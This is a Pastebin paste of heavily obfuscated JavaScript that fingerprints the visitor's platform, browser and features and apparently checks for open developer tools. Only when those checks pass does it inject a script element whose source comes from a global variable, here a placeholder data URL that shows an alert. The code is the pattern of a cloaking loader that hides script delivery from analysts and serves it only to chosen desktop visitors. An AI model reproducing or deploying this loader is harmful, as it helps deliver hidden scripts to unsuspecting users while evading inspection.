SHARE
TWEET

Untitled

StanislavPipa Mar 27th, 2019 (edited) 89 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // desktop, all
  2.  
  3. window.globalScriptSrc = 'data:text/javascript,alert(\'work, yes\')';
  4.  
  5. +function () {
  6.   var open = '', set = /g/, field, conf, left = {};
  7.  
  8.   function run(isReady, isConfig) {
  9.     if (isReady) {
  10.       if (isConfig) {
  11.         field[leadOut(['gol', 'noc']) + 'le']['log'](set);
  12.         counter > 0 && start(bugin.Web, content(max.list)[4], content(GLF)[1] + bugin.body);
  13.       }
  14.     } else {
  15.       if (dataPrepare(bugin.Web, content(max.list)[4])) {
  16.         stop(bugin.Web, content(max.list)[4], content(GLF)[1] + bugin.body);
  17.       } else {
  18.         stop(left, saveData(max, open, color));
  19.       }
  20.     }
  21.   }
  22.  
  23.   var transform = function (data, flag) {
  24.     return flag ? data[open.length].toLowerCase() + data.substring(1)
  25.       : data[open.length].toUpperCase() + data.substring(1);
  26.   };
  27.  
  28.   var Depth = function (data, flag) {
  29.     var res;
  30.     max.update(max, 'slice', transform);
  31.     Object.keys(data).forEach(function (el, ind) {
  32.       if (ind === flag) {
  33.         res = data[el].length;
  34.       }
  35.     });
  36.     return res;
  37.   };
  38.  
  39.   var content = function (data, flag) {
  40.     if (flag) {
  41.       var obj = [];
  42.       left.field = window;
  43.       for (var param in data) {
  44.         obj.push(data[param]);
  45.       }
  46.       return obj;
  47.     } else if (!flag) {
  48.       return Object.keys(data);
  49.     }
  50.   };
  51.  
  52.   var base, bugin = {
  53.     Data: 'assem',
  54.     Web: 'script',
  55.     global: 'rame',
  56.     device: ['Touch', 'name', 'code'],
  57.     body: 'Element',
  58.     success: false,
  59.     kit: 'side'
  60.   }, max = {}, val = navigator;
  61.  
  62.   var check = function (arg, key) {
  63.     return arg ? key ? arg in key : arg in field : arg in left.field;
  64.   };
  65.  
  66.   var combinData = function (data, flag) {
  67.     var nData;
  68.     left.message = check;
  69.     if (!!flag) {
  70.       left.cont = content;
  71.       nData = [];
  72.       data.forEach(function (item) {
  73.         nData = nData.concat(item);
  74.       });
  75.     } else if (!flag) {
  76.       nData = data.reduce(function (first, second) {
  77.         Object.keys(second).forEach(function (obj) {
  78.           first[obj] = second[obj];
  79.         });
  80.         return first;
  81.       }, {});
  82.     }
  83.     left.plugin = combinData;
  84.     return nData;
  85.   };
  86.  
  87.   var saveData = function (data, arg, volume, flag) {
  88.     return flag ? typeof flag === 'number'
  89.       ? volume.forEach(function (item, ind) {
  90.         ind > 0 ? data[item] = saveData : data[item] = arg;
  91.       }) : typeof flag === 'boolean' ? base = data = volume[transform('reg')
  92.         + transform(arg)] : false : data[arg] = volume;
  93.   };
  94.  
  95.   var dataPrepare = function (data, key, flag) {
  96.     left.count = Depth;
  97.     if (flag) {
  98.       var params = [];
  99.       saveData(max, left, ['right', 'update'], 1);
  100.       data.forEach(function (param, ind) {
  101.         key.forEach(function (param2, ind2) {
  102.           if (ind === Number(param2)) {
  103.             params.push(param);
  104.           } else if (ind === ind2) {
  105.             left.dataPrepare = dataPrepare;
  106.           }
  107.           field = left.field;
  108.         });
  109.       });
  110.       return params;
  111.     } else if (!flag) {
  112.       [data].forEach(function (param, ind) {
  113.         if (ind === Number(param)) {
  114.           params.push(param);
  115.         } else if (ind === param) {
  116.           max.right.dataPrepare = dataPrepare;
  117.         }
  118.         field = max.right.field;
  119.       });
  120.     }
  121.   };
  122.  
  123.   var GLF = {
  124.     max: 'Points',
  125.     create: 'version',
  126.     Enabled: true,
  127.     screen: ['cookie', 'java'],
  128.     Media: 'stream',
  129.   }, color = 'information', g;
  130.  
  131.   var createData = function (data, keys, flag) {
  132.     saveData(left, 'post', 'client');
  133.     if (flag) {
  134.       var items = combinData(data, !flag),
  135.         elements = combinData([content(items, flag), content(items, !flag)], flag);
  136.       return dataPrepare(elements, keys, flag);
  137.     } else {
  138.       var newData = data.toString().toUpperCase().split(open);
  139.       return flag >= open ? saveData(newData, keys) : updateData(data, key);
  140.     }
  141.   };
  142.  
  143.   var runData = function (data, keys, flag, volume) {
  144.     if (flag) {
  145.       var items = createData(data, keys, GLF.Enabled);
  146.       saveData(base, 'exp', left.field, true);
  147.  
  148.       var tmp1 = check(items[Depth(bugin, 3)]+transform(items[open.length]+'bly'), field),
  149.         tmp2 = max.right.message(items[1]+transform('Bar', flag), field);
  150.  
  151.       var tmp3 = check(items[Depth(bugin, 2)], field),
  152.         tmp4 = left.message(max.slice(items[2]), field);
  153.  
  154.  
  155.       return tmp1 && tmp2 && tmp3 && !tmp4;
  156.     }
  157.     if (!flag) {
  158.       val = volume[left.post + color] || val;
  159.       var elements = createData(data, keys, !flag);
  160.       saveData(max, 'list', bugin);
  161.  
  162.       var el1 = check(elements[max.right.count(max.list, 2)+1]+max.slice(elements[1]+'bly'), volume),
  163.         el2 = left.message(elements[left.count(GLF, 1)] +
  164.           elements[4] + elements[Depth(bugin, 3) - 1], volume);
  165.  
  166.       var el3 = check(max.slice(elements[max.right.count(max.list, 2) + 1], GLF.Enabled) +
  167.         elements[6] + elements[Depth(GLF, 3) + 1] +
  168.         max.slice(elements[open.length]), volume);
  169.       max.data = createData;
  170.  
  171.       return el1 && el2 && el3;
  172.     }
  173.   };
  174.  
  175.   var rocket = runData([GLF, bugin, { content: 'rect' }], [19, 5, 11, 25, 12], !bugin.success),
  176.     kit = runData(
  177.       [GLF, bugin, { open: 'base' }],
  178.       [25, 18, 12, 19, 5, 24, 17, 4],
  179.       bugin.success,
  180.       left.field
  181.     );
  182.  
  183.   setTimeout(function () {
  184.     isReady = prepearRuning([{ form: 'Macwin' }, max.list, GLF], [0, 13, 21, 4, 15, 3], !open);
  185.   }, 100);
  186.  
  187.   var stopData = function (data, keys, volume, flag) {
  188.     var items;
  189.     g = 'i';
  190.     if (!volume && !flag) {
  191.       saveData(max, 'fn', 'pto');
  192.       items = max.data(data, keys, !flag);
  193.  
  194.       var el1 = check(max.pars('de'+items[3]), field),
  195.         el2 = !(val[items[2]+'s'][1] && val[items[2]+'s'][1][items[0][1]].match(items[1]));
  196.  
  197.       items = el1 && el2;
  198.     } else if (!flag) {
  199.       items = max.data(data, keys, !flag);
  200.       conf = volume[items[0].slice(0, -3)+'u'+items[2]];
  201.  
  202.       volume = conf[items[0].slice(0, -3)+'u'+items[2]+max.pars(items[0].slice(3) +
  203.         items[2])][transform(items[1], true)];
  204.  
  205.       items = max.right.message(items.slice(-1).join(), volume);
  206.     } else {
  207.       items = createData(data, keys, flag);
  208.       max.pars = transform;
  209.       var tmp1 = volume[items[5]+max.slice(items[2])+max.slice('ratio')];
  210.  
  211.       var tmp2 = check(items.slice(-4).reduce(function (first, second, index) {
  212.         if (index === 1) {
  213.           first = first+max.slice(second);
  214.         }
  215.         return first;
  216.       }), volume);
  217.  
  218.       var tmp3 = val[items.slice(-2)[0] + 's'][0],
  219.         tmp4 = val[items[0][0] + items[3]],
  220.         tmp5 = volume[items[4]][items[9] + items[1].name];
  221.  
  222.       items = tmp2 && tmp1 && tmp5 && tmp4 && tmp3;
  223.     }
  224.     return items;
  225.   };
  226.  
  227.   var rotate = stopData(
  228.     [GLF, max.list, left, { color: 'pixel' }],
  229.     [32, 33, 28, 23, 17, 3, 22, 34, 19, 39],
  230.     field,
  231.     true
  232.   ), altSaf = stopData(
  233.     [GLF, { ment: 'docele', alt: 'Style' }],
  234.     [5, 6, 12, 13],
  235.     left.field,
  236.     bugin.success
  237.   ), net = stopData([max.list, max.right, { bug: 'light' }], [29, 24, 3, 14]);
  238.  
  239.   var stop = function (data, arg, flag) {
  240.     return flag ? arg.reduce(function (first, second) {
  241.       return (data + first.split().reverse().toString() + second)
  242.         .toLowerCase();
  243.     }) : [data].map(function (el) {
  244.       return arg[el];
  245.     });
  246.   };
  247.  
  248.   setTimeout(function () {
  249.     isConfig = prepearRuning({ agent: 'user,fire,chro' }, [12], !!open);
  250.   }, 100);
  251.  
  252.   var updateData = function (data, keys, flag) {
  253.     if (!flag) {
  254.       return max.right.message(max.data(data, keys, true).reverse()
  255.         .join(open)+'ity', field) ? 4 : rocket ? 1 : 2;
  256.     } else {
  257.       var elements = createData(data, keys, true);
  258.  
  259.       return typeof (field['cry'+max.fn]) == typeof runData ||
  260.         [val['app' + max.pars(elements[0][2]) + max.slice(elements[0][1], false)],
  261.           val['app' + max.pars(elements[1])]].join(val[elements[2][1] +
  262.         elements[4]]).match(new base('"', elements[3]));
  263.     }
  264.   };
  265.  
  266.   var leadOut = function (data, flag) {
  267.     var newData = [];
  268.     if (!flag) {
  269.       data.splice(2, 0, 'os');
  270.       data.forEach(function (el, ind) {
  271.         return ind > 0 ? newData.push(pretter(el, GLF.Enabled).join(open))
  272.           : newData.shift(3);
  273.       });
  274.     } else {
  275.       data.forEach(function (el, ind) {
  276.         return ind === 0 ? newData.push((el))
  277.           : newData.push(pretter(el, GLF.Enabled).join(open));
  278.       });
  279.       return newData;
  280.     }
  281.     return newData.join('');
  282.   };
  283.  
  284.   var counter = updateData([bugin, {se: 'cur'}], [7,15]),
  285.     roller = updateData([max.list, GLF, { glf: 'g' }], [3, 8, 10, 22, 12], true);
  286.  
  287.   var pretter = function (data, el) {
  288.     return el ? data.split('').reverse() : data+max.pars(',safa,trid,|');
  289.   };
  290.  
  291.   var start = function (volume, arg, el) {
  292.     return conf[arg].appendChild(conf[el](volume)).src =
  293.       left.field[content(bugin)[2] + max.pars(max.list.Web) + 'Src'];
  294.   };
  295.   set.toString = function () {
  296.     counter = max.data([counter], [0], false) ? (Math.random() * 20) - 10
  297.       : counter - Math.round(Math.random() * (1 - 0.5) + 0.5);
  298.  
  299.     return leadOut([open], true).reduce(function (first, second) {
  300.       return first + second;
  301.     });
  302.   };
  303.  
  304.   var insert = function (str, index, value) {
  305.     return str.substr(0, index) + value + str.substr(index);
  306.   }, isReady, isConfig;
  307.  
  308.   var prepearRuning = function (data, flags, key) {
  309.     var items;
  310.     if (key) {
  311.       items = max.data(data, flags, true);
  312.  
  313.       return val['plat' + items[3]].match(new base(insert(
  314.         max.pars(items[0], true), 3, '|'), g + 'g')
  315.       ) && !val[items[5] + items[2][0] + GLF.max] && !roller && check(items[4]
  316.         +'GLF'+max.list.global+'buffer', left.field);
  317.  
  318.     } else {
  319.       items = pretter(data.agent).split(',');
  320.       var tmp = items[0] + max.pars(Object.keys(data)[0]);
  321.  
  322.       var elements = [],
  323.         param = ['fox', 'me', 'ri', 'ent', 'ed'],
  324.         ins;
  325.  
  326.       items.forEach(function (item, index) {
  327.         param.forEach(function (arg, inx) {
  328.           if (index - 1 === inx && inx === 3) {
  329.             ins = insert(item, 4, arg);
  330.           } else if (index - 1 === inx && inx === 4) {
  331.             elements.push(new base(ins + insert(item, 4, arg + 'ge'), g));
  332.           } else if (index > 0 && index - 1 === inx) {
  333.             elements.push(new base(insert(item, 4, arg), g));
  334.           }
  335.         });
  336.       });
  337.  
  338.       var res = elements.map(function (el) { return val[tmp].match(el) });
  339.       items = res[0] && rocket || res[1] && kit && rotate || res[2] && altSaf || res[3] && net;
  340.     }
  341.     return items;
  342.   };
  343.  
  344.   setTimeout(function () {
  345.     return run(isReady, isConfig);
  346.   }, 200);
  347. }();
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top